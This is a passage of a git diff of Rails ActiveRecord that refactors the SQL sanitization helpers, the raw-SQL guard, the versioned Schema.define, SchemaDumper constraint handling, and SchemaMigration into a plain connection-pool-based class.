+      # a valid SQL fragment for a SET clause.
+      #
+      #   sanitize_sql_for_assignment(["name=? and group_id=?", nil, 4])
+      #   # => "name=NULL and group_id=4"
+      #
+      #   sanitize_sql_for_assignment(["name=:name and group_id=:group_id", name: nil, group_id: 4])
+      #   # => "name=NULL and group_id=4"
+      #
+      #   Post.sanitize_sql_for_assignment({ name: nil, group_id: 4 })
+      #   # => "`posts`.`name` = NULL, `posts`.`group_id` = 4"
+      #
+      # This method will NOT sanitize an SQL string since it won't contain
+      # any conditions in it and will return the string as is.
+      #
+      #   sanitize_sql_for_assignment("name=NULL and group_id='4'")
+      #   # => "name=NULL and group_id='4'"
+      #
+      # Note that this sanitization method is not schema-aware, hence won't do any type casting
+      # and will directly use the database adapter's +quote+ method.
+      # For MySQL specifically this means that numeric parameters will be quoted as strings
+      # to prevent query manipulation attacks.
+      #
+      #   sanitize_sql_for_assignment(["role = ?", 0])
+      #   # => "role = '0'"
+      def sanitize_sql_for_assignment(assignments, default_table_name = table_name)
+        case assignments
+        when Array; sanitize_sql_array(assignments)
+        when Hash;  sanitize_sql_hash_for_assignment(assignments, default_table_name)
+        else        assignments
         end
+      end
 
-        # Accepts a hash of SQL conditions and replaces those attributes
-        # that correspond to a {#composed_of}[rdoc-ref:Aggregations::ClassMethods#composed_of]
-        # relationship with their expanded aggregate attribute values.
-        #
-        # Given:
-        #
-        #   class Person < ActiveRecord::Base
-        #     composed_of :address, class_name: "Address",
-        #       mapping: [%w(address_street street), %w(address_city city)]
-        #   end
-        #
-        # Then:
-        #
-        #   { address: Address.new("813 abc st.", "chicago") }
-        #   # => { address_street: "813 abc st.", address_city: "chicago" }
-        def expand_hash_conditions_for_aggregates(attrs) # :doc:
-          expanded_attrs = {}
-          attrs.each do |attr, value|
-            if aggregation = reflect_on_aggregation(attr.to_sym)
-              mapping = aggregation.mapping
-              mapping.each do |field_attr, aggregate_attr|
-                if mapping.size == 1 && !value.respond_to?(aggregate_attr)
-                  expanded_attrs[field_attr] = value
-                else
-                  expanded_attrs[field_attr] = value.send(aggregate_attr)
-                end
-              end
-            else
-              expanded_attrs[attr] = value
-            end
+      # Accepts an array, or string of SQL conditions and sanitizes
+      # them into a valid SQL fragment for an ORDER clause.
+      #
+      #   sanitize_sql_for_order([Arel.sql("field(id, ?)"), [1,3,2]])
+      #   # => "field(id, 1,3,2)"
+      #
+      #   sanitize_sql_for_order("id ASC")
+      #   # => "id ASC"
+      def sanitize_sql_for_order(condition)
+        if condition.is_a?(Array) && condition.first.to_s.include?("?")
+          disallow_raw_sql!(
+            [condition.first],
+            permit: adapter_class.column_name_with_order_matcher
+          )
+
+          # Ensure we aren't dealing with a subclass of String that might
+          # override methods we use (e.g. Arel::Nodes::SqlLiteral).
+          if condition.first.kind_of?(String) && !condition.first.instance_of?(String)
+            condition = [String.new(condition.first), *condition[1..-1]]
           end
-          expanded_attrs
+
+          Arel.sql(sanitize_sql_array(condition))
+        else
+          condition
         end
+      end
 
-        # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
-        #
-        #   sanitize_sql_hash_for_assignment({ status: nil, group_id: 1 }, "posts")
-        #   # => "`posts`.`status` = NULL, `posts`.`group_id` = 1"
-        def sanitize_sql_hash_for_assignment(attrs, table) # :doc:
-          c = connection
+      # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
+      #
+      #   sanitize_sql_hash_for_assignment({ status: nil, group_id: 1 }, "posts")
+      #   # => "`posts`.`status` = NULL, `posts`.`group_id` = 1"
+      def sanitize_sql_hash_for_assignment(attrs, table)
+        with_connection do |c|
           attrs.map do |attr, value|
-            value = type_for_attribute(attr.to_s).serialize(value)
+            type = type_for_attribute(attr)
+            value = type.serialize(type.cast(value))
             "#{c.quote_table_name_for_assignment(table, attr)} = #{c.quote(value)}"
           end.join(", ")
         end
+      end
 
-        # Sanitizes a +string+ so that it is safe to use within an SQL
-        # LIKE statement. This method uses +escape_character+ to escape all occurrences of "\", "_" and "%".
-        #
-        #   sanitize_sql_like("100%")
-        #   # => "100\\%"
-        #
-        #   sanitize_sql_like("snake_cased_string")
-        #   # => "snake\\_cased\\_string"
-        #
-        #   sanitize_sql_like("100%", "!")
-        #   # => "100!%"
-        #
-        #   sanitize_sql_like("snake_cased_string", "!")
-        #   # => "snake!_cased!_string"
-        def sanitize_sql_like(string, escape_character = "\\") # :doc:
-          pattern = Regexp.union(escape_character, "%", "_")
-          string.gsub(pattern) { |x| [escape_character, x].join }
+      # Sanitizes a +string+ so that it is safe to use within an SQL
+      # LIKE statement. This method uses +escape_character+ to escape all
+      # occurrences of itself, "_" and "%".
+      #
+      #   sanitize_sql_like("100% true!")
+      #   # => "100\\% true!"
+      #
+      #   sanitize_sql_like("snake_cased_string")
+      #   # => "snake\\_cased\\_string"
+      #
+      #   sanitize_sql_like("100% true!", "!")
+      #   # => "100!% true!!"
+      #
+      #   sanitize_sql_like("snake_cased_string", "!")
+      #   # => "snake!_cased!_string"
+      def sanitize_sql_like(string, escape_character = "\\")
+        if string.include?(escape_character) && escape_character != "%" && escape_character != "_"
+          string = string.gsub(escape_character, '\0\0')
         end
 
-        # Accepts an array of conditions. The array has each value
-        # sanitized and interpolated into the SQL statement.
-        #
-        #   sanitize_sql_array(["name=? and group_id=?", "foo'bar", 4])
-        #   # => "name='foo''bar' and group_id=4"
-        #
-        #   sanitize_sql_array(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4])
-        #   # => "name='foo''bar' and group_id=4"
-        #
-        #   sanitize_sql_array(["name='%s' and group_id='%s'", "foo'bar", 4])
-        #   # => "name='foo''bar' and group_id='4'"
-        def sanitize_sql_array(ary) # :doc:
-          statement, *values = ary
-          if values.first.is_a?(Hash) && /:\w+/.match?(statement)
-            replace_named_bind_variables(statement, values.first)
-          elsif statement.include?("?")
-            replace_bind_variables(statement, values)
-          elsif statement.blank?
-            statement
-          else
-            statement % values.collect { |value| connection.quote_string(value.to_s) }
+        string.gsub(/(?=[%_])/, escape_character)
+      end
+
+      # Accepts an array of conditions. The array has each value
+      # sanitized and interpolated into the SQL statement. If using named bind
+      # variables in SQL statements where a colon is required verbatim use a
+      # backslash to escape.
+      #
+      #   sanitize_sql_array(["name=? and group_id=?", "foo'bar", 4])
+      #   # => "name='foo''bar' and group_id=4"
+      #
+      #   sanitize_sql_array(["name=:name and group_id=:group_id", name: "foo'bar", group_id: 4])
+      #   # => "name='foo''bar' and group_id=4"
+      #
+      #   sanitize_sql_array(["TO_TIMESTAMP(:date, 'YYYY/MM/DD HH12\\:MI\\:SS')", date: "foo"])
+      #   # => "TO_TIMESTAMP('foo', 'YYYY/MM/DD HH12:MI:SS')"
+      #
+      #   sanitize_sql_array(["name='%s' and group_id='%s'", "foo'bar", 4])
+      #   # => "name='foo''bar' and group_id='4'"
+      #
+      # Note that this sanitization method is not schema-aware, hence won't do any type casting
+      # and will directly use the database adapter's +quote+ method.
+      # For MySQL specifically this means that numeric parameters will be quoted as strings
+      # to prevent query manipulation attacks.
+      #
+      #   sanitize_sql_array(["role = ?", 0])
+      #   # => "role = '0'"
+      #
+      # Before using this method, please consider if Arel.sql would be better for your use-case
+      def sanitize_sql_array(ary)
+        statement, *values = ary
+        if values.first.is_a?(Hash) && /:\w+/.match?(statement)
+          with_connection do |c|
+            replace_named_bind_variables(c, statement, values.first)
+          end
+        elsif statement.include?("?")
+          with_connection do |c|
+            replace_bind_variables(c, statement, values)
+          end
+        elsif statement.blank?
+          statement
+        else
+          with_connection do |c|
+            statement % values.collect { |value| c.quote_string(value.to_s) }
           end
         end
+      end
+
+      def disallow_raw_sql!(args, permit: adapter_class.column_name_matcher) # :nodoc:
+        unexpected = nil
+        args.each do |arg|
+          next if arg.is_a?(Symbol) || Arel.arel_node?(arg) || permit.match?(arg.to_s.strip)
+          (unexpected ||= []) << arg
+        end
 
-        def replace_bind_variables(statement, values)
+        if unexpected
+          raise(ActiveRecord::UnknownAttributeReference,
+            "Dangerous query method (method whose arguments are used as raw " \
+            "SQL) called with non-attribute argument(s): " \
+            "#{unexpected.map(&:inspect).join(", ")}." \
+            "This method should not be called with user-provided values, such as request " \
+            "parameters or model attributes. Known-safe values can be passed " \
+            "by wrapping them in Arel.sql()."
+          )
+        end
+      end
+
+      private
+        def replace_bind_variables(connection, statement, values)
           raise_if_bind_arity_mismatch(statement, statement.count("?"), values.size)
           bound = values.dup
-          c = connection
           statement.gsub(/\?/) do
-            replace_bind_variable(bound.shift, c)
+            replace_bind_variable(connection, bound.shift)
           end
         end
 
-        def replace_bind_variable(value, c = connection)
+        def replace_bind_variable(connection, value)
           if ActiveRecord::Relation === value
             value.to_sql
           else
-            quote_bound_value(value, c)
+            quote_bound_value(connection, value)
           end
         end
 
-        def replace_named_bind_variables(statement, bind_vars)
-          statement.gsub(/(:?):([a-zA-Z]\w*)/) do |match|
-            if $1 == ":" # skip postgresql casts
+        def replace_named_bind_variables(connection, statement, bind_vars)
+          statement.gsub(/([:\\]?):([a-zA-Z]\w*)/) do |match|
+            if $1 == ":" # skip PostgreSQL casts
               match # return the whole match
+            elsif $1 == "\\" # escaped literal colon
+              match[1..-1] # return match with escaping backlash char removed
             elsif bind_vars.include?(match = $2.to_sym)
-              replace_bind_variable(bind_vars[match])
+              replace_bind_variable(connection, bind_vars[match])
             else
               raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
             end
           end
         end
 
-        def quote_bound_value(value, c = connection)
+        def quote_bound_value(connection, value)
           if value.respond_to?(:map) && !value.acts_like?(:string)
-            if value.respond_to?(:empty?) && value.empty?
-              c.quote(nil)
+            values = value.map { |v| v.respond_to?(:id_for_database) ? v.id_for_database : v }
+            if values.empty?
+              connection.quote(connection.cast_bound_value(nil))
             else
-              value.map { |v| c.quote(v) }.join(",")
+              values.map! { |v| connection.quote(connection.cast_bound_value(v)) }.join(",")
             end
           else
-            c.quote(value)
+            value = value.id_for_database if value.respond_to?(:id_for_database)
+            connection.quote(connection.cast_bound_value(value))
           end
         end
 
@@ -206,10 +252,5 @@ def raise_if_bind_arity_mismatch(statement, expected, provided)
           end
         end
     end
-
-    # TODO: Deprecate this
-    def quoted_id # :nodoc:
-      self.class.connection.quote(@attributes[self.class.primary_key].value_for_database)
-    end
   end
 end
diff --git a/activerecord/lib/active_record/schema.rb b/activerecord/lib/active_record/schema.rb
index 5104427339cd4..152752a080076 100644
--- a/activerecord/lib/active_record/schema.rb
+++ b/activerecord/lib/active_record/schema.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   # = Active Record \Schema
   #
@@ -8,7 +10,7 @@ module ActiveRecord
   #
   # Usage:
   #
-  #   ActiveRecord::Schema.define do
+  #   ActiveRecord::Schema[7.0].define do
   #     create_table :authors do |t|
   #       t.string :name, null: false
   #     end
@@ -28,41 +30,48 @@ module ActiveRecord
   # ActiveRecord::Schema is only supported by database adapters that also
   # support migrations, the two features being very similar.
   class Schema < Migration::Current
-    # Eval the given block. All methods available to the current connection
-    # adapter are available within the block, so you can easily use the
-    # database definition DSL to build up your schema (
-    # {create_table}[rdoc-ref:ConnectionAdapters::SchemaStatements#create_table],
-    # {add_index}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_index], etc.).
-    #
-    # The +info+ hash is optional, and if given is used to define metadata
-    # about the current schema (currently, only the schema's version):
-    #
-    #   ActiveRecord::Schema.define(version: 20380119000001) do
-    #     ...
-    #   end
-    def self.define(info = {}, &block)
-      new.define(info, &block)
-    end
+    module Definition
+      extend ActiveSupport::Concern
 
-    def define(info, &block) # :nodoc:
-      instance_eval(&block)
-
-      if info[:version].present?
-        ActiveRecord::SchemaMigration.create_table
-        connection.assume_migrated_upto_version(info[:version], migrations_paths)
+      module ClassMethods
+        # Eval the given block. All methods available to the current connection
+        # adapter are available within the block, so you can easily use the
+        # database definition DSL to build up your schema (
+        # {create_table}[rdoc-ref:ConnectionAdapters::SchemaStatements#create_table],
+        # {add_index}[rdoc-ref:ConnectionAdapters::SchemaStatements#add_index], etc.).
+        #
+        # The +info+ hash is optional, and if given is used to define metadata
+        # about the current schema (currently, only the schema's version):
+        #
+        #   ActiveRecord::Schema[7.0].define(version: 2038_01_19_000001) do
+        #     ...
+        #   end
+        def define(info = {}, &block)
+          new.define(info, &block)
+        end
       end
 
-      ActiveRecord::InternalMetadata.create_table
-      ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment
+      def define(info, &block) # :nodoc:
+        connection_pool.with_connection do |connection|
+          instance_eval(&block)
+
+          connection_pool.schema_migration.create_table
+          if info[:version].present?
+            connection.assume_migrated_upto_version(info[:version])
+          end
+
+          connection_pool.internal_metadata.create_table_and_set_flags(connection_pool.migration_context.current_environment)
+        end
+      end
     end
 
-    private
-      # Returns the migrations paths.
-      #
-      #   ActiveRecord::Schema.new.migrations_paths
-      #   # => ["db/migrate"] # Rails migration path by default.
-      def migrations_paths
-        ActiveRecord::Migrator.migrations_paths
+    include Definition
+
+    def self.[](version)
+      @class_for_version ||= {}
+      @class_for_version[version] ||= Class.new(Migration::Compatibility.find(version)) do
+        include Definition
       end
+    end
   end
 end
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
index 15533f01516b0..25c66fa04b59e 100644
--- a/activerecord/lib/active_record/schema_dumper.rb
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "stringio"
 
 module ActiveRecord
@@ -5,20 +7,44 @@ module ActiveRecord
   #
   # This class is used to dump the database schema for some connection to some
   # output format (i.e., ActiveRecord::Schema).
-  class SchemaDumper #:nodoc:
+  class SchemaDumper # :nodoc:
     private_class_method :new
 
     ##
     # :singleton-method:
     # A list of tables which should not be dumped to the schema.
-    # Acceptable values are strings as well as regexp.
-    # This setting is only used if ActiveRecord::Base.schema_format == :ruby
-    cattr_accessor :ignore_tables
-    @@ignore_tables = []
+    # Acceptable values are strings and regexps.
+    cattr_accessor :ignore_tables, default: []
+
+    ##
+    # :singleton-method:
+    # Specify a custom regular expression matching foreign keys which name
+    # should not be dumped to db/schema.rb.
+    cattr_accessor :fk_ignore_pattern, default: /^fk_rails_[0-9a-f]{10}$/
+
+    ##
+    # :singleton-method:
+    # Specify a custom regular expression matching check constraints which name
+    # should not be dumped to db/schema.rb.
+    cattr_accessor :chk_ignore_pattern, default: /^chk_rails_[0-9a-f]{10}$/
+
+    ##
+    # :singleton-method:
+    # Specify a custom regular expression matching exclusion constraints which name
+    # should not be dumped to db/schema.rb.
+    cattr_accessor :excl_ignore_pattern, default: /^excl_rails_[0-9a-f]{10}$/
+
+    ##
+    # :singleton-method:
+    # Specify a custom regular expression matching unique constraints which name
+    # should not be dumped to db/schema.rb.
+    cattr_accessor :unique_ignore_pattern, default: /^uniq_rails_[0-9a-f]{10}$/
 
     class << self
-      def dump(connection = ActiveRecord::Base.connection, stream = STDOUT, config = ActiveRecord::Base)
-        new(connection, generate_options(config)).dump(stream)
+      def dump(pool = ActiveRecord::Base.connection_pool, stream = $stdout, config = ActiveRecord::Base)
+        pool.with_connection do |connection|
+          connection.create_schema_dumper(generate_options(config)).dump(stream)
+        end
         stream
       end
 
@@ -33,88 +59,123 @@ def generate_options(config)
 
     def dump(stream)
       header(stream)
+      schemas(stream)
       extensions(stream)
+      types(stream)
       tables(stream)
+      virtual_tables(stream)
       trailer(stream)
       stream
     end
 
     private
+      attr_accessor :table_name
 
       def initialize(connection, options = {})
         @connection = connection
-        @version = Migrator::current_version rescue nil
+        @version = connection.pool.migration_context.current_version rescue nil
         @options = options
+        @ignore_tables = [
+          ActiveRecord::Base.schema_migrations_table_name,
+          ActiveRecord::Base.internal_metadata_table_name,
+          self.class.ignore_tables
+        ].flatten
       end
 
-      def header(stream)
-        define_params = @version ? "version: #{@version}" : ""
-
-        stream.puts <<HEADER
-# This file is auto-generated from the current state of the database. Instead
-# of editing this file, please use the migrations feature of Active Record to
-# incrementally modify your database, and then regenerate this schema definition.
-#
-# Note that this schema.rb definition is the authoritative source for your
-# database schema. If you need to create the application database on another
-# system, you should be using db:schema:load, not running all the migrations
-# from scratch. The latter is a flawed and unsustainable approach (the more migrations
-# you'll amass, the slower it'll run and the greater likelihood for issues).
-#
-# It's strongly recommended that you check this file into your version control system.
+      # turns 20170404131909 into "2017_04_04_131909"
+      def formatted_version
+        stringified = @version.to_s
+        return stringified unless stringified.length == 14
+        stringified.insert(4, "_").insert(7, "_").insert(10, "_")
+      end
 
-ActiveRecord::Schema.define(#{define_params}) do
+      def define_params
+        @version ? "version: #{formatted_version}" : ""
+      end
 
-HEADER
+      def header(stream)
+        stream.puts <<~HEADER
+          # This file is auto-generated from the current state of the database. Instead
+          # of editing this file, please use the migrations feature of Active Record to
+          # incrementally modify your database, and then regenerate this schema definition.
+          #
+          # This file is the source Rails uses to define your schema when running `bin/rails
+          # db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
+          # be faster and is potentially less error prone than running all of your
+          # migrations from scratch. Old migrations may fail to apply correctly if those
+          # migrations use external dependencies or application code.
+          #
+          # It's strongly recommended that you check this file into your version control system.
+
+          ActiveRecord::Schema[#{ActiveRecord::Migration.current_version}].define(#{define_params}) do
+        HEADER
       end
 
       def trailer(stream)
         stream.puts "end"
       end
 
+      # extensions are only supported by PostgreSQL
       def extensions(stream)
-        return unless @connection.supports_extensions?
-        extensions = @connection.extensions
-        if extensions.any?
-          stream.puts "  # These are extensions that must be enabled in order to support this database"
-          extensions.each do |extension|
-            stream.puts "  enable_extension #{extension.inspect}"
-          end
-          stream.puts
-        end
+      end
+
+      # (enum) types are only supported by PostgreSQL
+      def types(stream)
+      end
+
+      # schemas are only supported by PostgreSQL
+      def schemas(stream)
+      end
+
+      # virtual tables are only supported by SQLite
+      def virtual_tables(stream)
       end
 
       def tables(stream)
-        sorted_tables = @connection.data_sources.sort - @connection.views
+        sorted_tables = @connection.tables.sort
 
-        sorted_tables.each do |table_name|
-          table(table_name, stream) unless ignored?(table_name)
+        not_ignored_tables = sorted_tables.reject { |table_name| ignored?(table_name) }
+
+        not_ignored_tables.each_with_index do |table_name, index|
+          table(table_name, stream)
+          stream.puts if index < not_ignored_tables.count - 1
         end
 
         # dump foreign keys at the end to make sure all dependent tables exist.
         if @connection.supports_foreign_keys?
-          sorted_tables.each do |tbl|
-            foreign_keys(tbl, stream) unless ignored?(tbl)
+          foreign_keys_stream = StringIO.new
+          not_ignored_tables.each do |tbl|
+            foreign_keys(tbl, foreign_keys_stream)
           end
+
+          foreign_keys_string = foreign_keys_stream.string
+          stream.puts if foreign_keys_string.length > 0
+
+          stream.print foreign_keys_string
         end
       end
 
       def table(table, stream)
         columns = @connection.columns(table)
         begin
+          self.table_name = table
+
           tbl = StringIO.new
 
           # first dump primary key column
           pk = @connection.primary_key(table)
 
-          tbl.print "  create_table #{remove_prefix_and_suffix(table).inspect}"
+          tbl.print "  create_table #{relation_name(remove_prefix_and_suffix(table)).inspect}"
 
           case pk
           when String
             tbl.print ", primary_key: #{pk.inspect}" unless pk == "id"
             pkcol = columns.detect { |c| c.name == pk }
-            pkcolspec = @connection.column_spec_for_primary_key(pkcol)
-            if pkcolspec.present?
+            pkcolspec = column_spec_for_primary_key(pkcol)
+            unless pkcolspec.empty?
+              if pkcolspec != pkcolspec.slice(:id, :default)
+                pkcolspec = { id: { type: pkcolspec.delete(:id), **pkcolspec }.compact }
+              end
               tbl.print ", #{format_colspec(pkcolspec)}"
             end
           when Array
@@ -122,47 +183,57 @@ def table(table, stream)
           else
             tbl.print ", id: false"
           end
-          tbl.print ", force: :cascade"
 
           table_options = @connection.table_options(table)
           if table_options.present?
             tbl.print ", #{format_options(table_options)}"
           end
 
-          tbl.puts " do |t|"
+          tbl.puts ", force: :cascade do |t|"
 
           # then dump all non-primary key columns
-          columns.each do |column|
+          columns.sort_by(&:name).each do |column|
             raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" unless @connection.valid_type?(column.type)
             next if column.name == pk
-            type, colspec = @connection.column_spec(column)
-            tbl.print "    t.#{type} #{column.name.inspect}"
+
+            type, colspec = column_spec(column)
+            if type.is_a?(Symbol)
+              tbl.print "    t.#{type} #{column.name.inspect}"
+            else
+              tbl.print "    t.column #{column.name.inspect}, #{type.inspect}"
+            end
             tbl.print ", #{format_colspec(colspec)}" if colspec.present?
             tbl.puts
           end
 
           indexes_in_create(table, tbl)
+          remaining = check_constraints_in_create(table, tbl) if @connection.supports_check_constraints?
+          exclusion_constraints_in_create(table, tbl) if @connection.supports_exclusion_constraints?
+          unique_constraints_in_create(table, tbl) if @connection.supports_unique_constraints?
 
           tbl.puts "  end"
-          tbl.puts
 
-          tbl.rewind
-          stream.print tbl.read
+          if remaining
+            tbl.puts
+            tbl.print remaining.string
+          end
+
+          stream.print tbl.string
         rescue => e
           stream.puts "# Could not dump table #{table.inspect} because of following #{e.class}"
           stream.puts "#   #{e.message}"
           stream.puts
+        ensure
+          self.table_name = nil
         end
-
-        stream
       end
 
       # Keep it for indexing materialized views
       def indexes(table, stream)
         if (indexes = @connection.indexes(table)).any?
           add_index_statements = indexes.map do |index|
-            table_name = remove_prefix_and_suffix(index.table).inspect
-            "  add_index #{([table_name] + index_parts(index)).join(', ')}"
+            table_name = remove_prefix_and_suffix(index.table)
+            "  add_index #{([relation_name(table_name).inspect] + index_parts(index)).join(', ')}"
           end
 
           stream.puts add_index_statements.sort.join("\n")
@@ -172,6 +243,18 @@ def indexes(table, stream)
 
       def indexes_in_create(table, stream)
         if (indexes = @connection.indexes(table)).any?
+          if @connection.supports_exclusion_constraints? && (exclusion_constraints = @connection.exclusion_constraints(table)).any?
+            exclusion_constraint_names = exclusion_constraints.collect(&:name)
+
+            indexes = indexes.reject { |index| exclusion_constraint_names.include?(index.name) }
+          end
+
+          if @connection.supports_unique_constraints? && (unique_constraints = @connection.unique_constraints(table)).any?
+            unique_constraint_names = unique_constraints.collect(&:name)
+
+            indexes = indexes.reject { |index| unique_constraint_names.include?(index.name) }
+          end
+
           index_statements = indexes.map do |index|
             "    t.index #{index_parts(index).join(', ')}"
           end
@@ -185,24 +268,61 @@ def index_parts(index)
           "name: #{index.name.inspect}",
         ]
         index_parts << "unique: true" if index.unique
-        index_parts << "length: { #{format_options(index.lengths)} }" if index.lengths.present?
-        index_parts << "order: { #{format_options(index.orders)} }" if index.orders.present?
+        index_parts << "length: #{format_index_parts(index.lengths)}" if index.lengths.present?
+        index_parts << "order: #{format_index_parts(index.orders)}" if index.orders.present?
+        index_parts << "opclass: #{format_index_parts(index.opclasses)}" if index.opclasses.present?
         index_parts << "where: #{index.where.inspect}" if index.where
         index_parts << "using: #{index.using.inspect}" if !@connection.default_index_type?(index)
+        index_parts << "include: #{index.include.inspect}" if index.include
+        index_parts << "nulls_not_distinct: #{index.nulls_not_distinct.inspect}" if index.nulls_not_distinct
         index_parts << "type: #{index.type.inspect}" if index.type
         index_parts << "comment: #{index.comment.inspect}" if index.comment
+        index_parts << "enabled: #{index.enabled.inspect}" if @connection.supports_disabling_indexes? && index.disabled?
         index_parts
       end
 
+      def check_constraints_in_create(table, stream)
+        if (check_constraints = @connection.check_constraints(table)).any?
+          check_valid, check_invalid = check_constraints.partition { |chk| chk.validate? }
+
+          unless check_valid.empty?
+            check_constraint_statements = check_valid.map do |check|
+              "    t.check_constraint #{check_parts(check).join(', ')}"
+            end
+
+            stream.puts check_constraint_statements.sort.join("\n")
+          end
+
+          unless check_invalid.empty?
+            remaining = StringIO.new
+            table_name = remove_prefix_and_suffix(table).inspect
+
+            add_check_constraint_statements = check_invalid.map do |check|
+              "  add_check_constraint #{([table_name] + check_parts(check)).join(', ')}"
+            end
+
+            remaining.puts add_check_constraint_statements.sort.join("\n")
+            remaining
+          end
+        end
+      end
+
+      def check_parts(check)
+        check_parts = [ check.expression.inspect ]
+        check_parts << "name: #{check.name.inspect}" if check.export_name_on_schema_dump?
+        check_parts << "validate: #{check.validate?.inspect}" unless check.validate?
+        check_parts
+      end
+
       def foreign_keys(table, stream)
         if (foreign_keys = @connection.foreign_keys(table)).any?
           add_foreign_key_statements = foreign_keys.map do |foreign_key|
             parts = [
-              "add_foreign_key #{remove_prefix_and_suffix(foreign_key.from_table).inspect}",
-              remove_prefix_and_suffix(foreign_key.to_table).inspect,
+              relation_name(remove_prefix_and_suffix(foreign_key.from_table)).inspect,
+              relation_name(remove_prefix_and_suffix(foreign_key.to_table)).inspect,
             ]
 
-            if foreign_key.column != @connection.foreign_key_column_for(foreign_key.to_table)
+            if foreign_key.column != @connection.foreign_key_column_for(foreign_key.to_table, "id")
               parts << "column: #{foreign_key.column.inspect}"
             end
 
@@ -210,14 +330,13 @@ def foreign_keys(table, stream)
               parts << "primary_key: #{foreign_key.primary_key.inspect}"
             end
 
-            if foreign_key.name !~ /^fk_rails_[0-9a-f]{10}$/
-              parts << "name: #{foreign_key.name.inspect}"
-            end
-
+            parts << "name: #{foreign_key.name.inspect}" if foreign_key.export_name_on_schema_dump?
             parts << "on_update: #{foreign_key.on_update.inspect}" if foreign_key.on_update
             parts << "on_delete: #{foreign_key.on_delete.inspect}" if foreign_key.on_delete
+            parts << "deferrable: #{foreign_key.deferrable.inspect}" if foreign_key.deferrable
+            parts << "validate: #{foreign_key.validate?.inspect}" unless foreign_key.validate?
 
-            "  #{parts.join(', ')}"
+            "  add_foreign_key #{parts.join(', ')}"
           end
 
           stream.puts add_foreign_key_statements.sort.join("\n")
@@ -225,19 +344,39 @@ def foreign_keys(table, stream)
       end
 
       def format_colspec(colspec)
-        colspec.map { |key, value| "#{key}: #{value}" }.join(", ")
+        colspec.map do |key, value|
+          "#{key}: #{ value.is_a?(Hash) ? "{ #{format_colspec(value)} }" : value }"
+        end.join(", ")
       end
 
       def format_options(options)
         options.map { |key, value| "#{key}: #{value.inspect}" }.join(", ")
       end
 
+      def format_index_parts(options)
+        if options.is_a?(Hash)
+          "{ #{format_options(options)} }"
+        else
+          options.inspect
+        end
+      end
+
+      def relation_name(name)
+        name
+      end
+
       def remove_prefix_and_suffix(table)
-        table.gsub(/^(#{@options[:table_name_prefix]})(.+)(#{@options[:table_name_suffix]})$/,  "\\2")
+        # This method appears at the top when profiling active_record test cases run.
+        # Avoid costly calculation when there are no prefix and suffix.
+        return table if @options[:table_name_prefix].blank? && @options[:table_name_suffix].blank?
+
+        prefix = Regexp.escape(@options[:table_name_prefix].to_s)
+        suffix = Regexp.escape(@options[:table_name_suffix].to_s)
+        table.sub(/\A#{prefix}(.+)#{suffix}\z/, "\\1")
       end
 
       def ignored?(table_name)
-        [ActiveRecord::Base.schema_migrations_table_name, ActiveRecord::Base.internal_metadata_table_name, ignore_tables].flatten.any? do |ignored|
+        @ignore_tables.any? do |ignored|
           ignored === remove_prefix_and_suffix(table_name)
         end
       end
diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb
index 5efbcff96a415..aa576ec122609 100644
--- a/activerecord/lib/active_record/schema_migration.rb
+++ b/activerecord/lib/active_record/schema_migration.rb
@@ -1,50 +1,106 @@
-require "active_record/scoping/default"
-require "active_record/scoping/named"
+# frozen_string_literal: true
 
 module ActiveRecord
   # This class is used to create a table that keeps track of which migrations
   # have been applied to a given database. When a migration is run, its schema
-  # number is inserted in to the `SchemaMigration.table_name` so it doesn't need
+  # number is inserted in to the schema migrations table so it doesn't need
   # to be executed the next time.
-  class SchemaMigration < ActiveRecord::Base # :nodoc:
-    class << self
-      def primary_key
-        "version"
+  class SchemaMigration # :nodoc:
+    class NullSchemaMigration # :nodoc:
+    end
+
+    attr_reader :arel_table
+
+    def initialize(pool)
+      @pool = pool
+      @arel_table = Arel::Table.new(table_name)
+    end
+
+    def create_version(version)
+      im = Arel::InsertManager.new(arel_table)
+      im.insert(arel_table[primary_key] => version)
+      @pool.with_connection do |connection|
+        connection.insert(im, "#{self.class} Create", primary_key, version)
       end
+    end
+
+    def delete_version(version)
+      dm = Arel::DeleteManager.new(arel_table)
+      dm.wheres = [arel_table[primary_key].eq(version)]
 
-      def table_name
-        "#{table_name_prefix}#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
+      @pool.with_connection do |connection|
+        connection.delete(dm, "#{self.class} Destroy")
       end
+    end
 
-      def table_exists?
-        connection.table_exists?(table_name)
+    def delete_all_versions
+      # Eagerly check in connection to avoid checking in/out many times in the called method.
+      @pool.with_connection do
+        versions.each do |version|
+          delete_version(version)
+        end
       end
+    end
 
-      def create_table
-        unless table_exists?
-          version_options = connection.internal_string_options_for_primary_key
+    def primary_key
+      "version"
+    end
+
+    def table_name
+      "#{ActiveRecord::Base.table_name_prefix}#{ActiveRecord::Base.schema_migrations_table_name}#{ActiveRecord::Base.table_name_suffix}"
+    end
 
+    def create_table
+      @pool.with_connection do |connection|
+        unless connection.table_exists?(table_name)
           connection.create_table(table_name, id: false) do |t|
-            t.string :version, version_options
+            t.string :version, **connection.internal_string_options_for_primary_key
           end
         end
       end
+    end
 
-      def drop_table
+    def drop_table
+      @pool.with_connection do |connection|
         connection.drop_table table_name, if_exists: true
       end
+    end
+
+    def normalize_migration_number(number)
+      "%.3d" % number.to_i
+    end
+
+    def normalized_versions
+      versions.map { |v| normalize_migration_number v }
+    end
 
-      def normalize_migration_number(number)
-        "%.3d" % number.to_i
+    def versions
+      sm = Arel::SelectManager.new(arel_table)
+      sm.project(arel_table[primary_key])
+      sm.order(arel_table[primary_key].asc)
+
+      @pool.with_connection do |connection|
+        connection.select_values(sm, "#{self.class} Load")
       end
+    end
+
+    def integer_versions
+      versions.map(&:to_i)
+    end
+
+    def count
+      sm = Arel::SelectManager.new(arel_table)
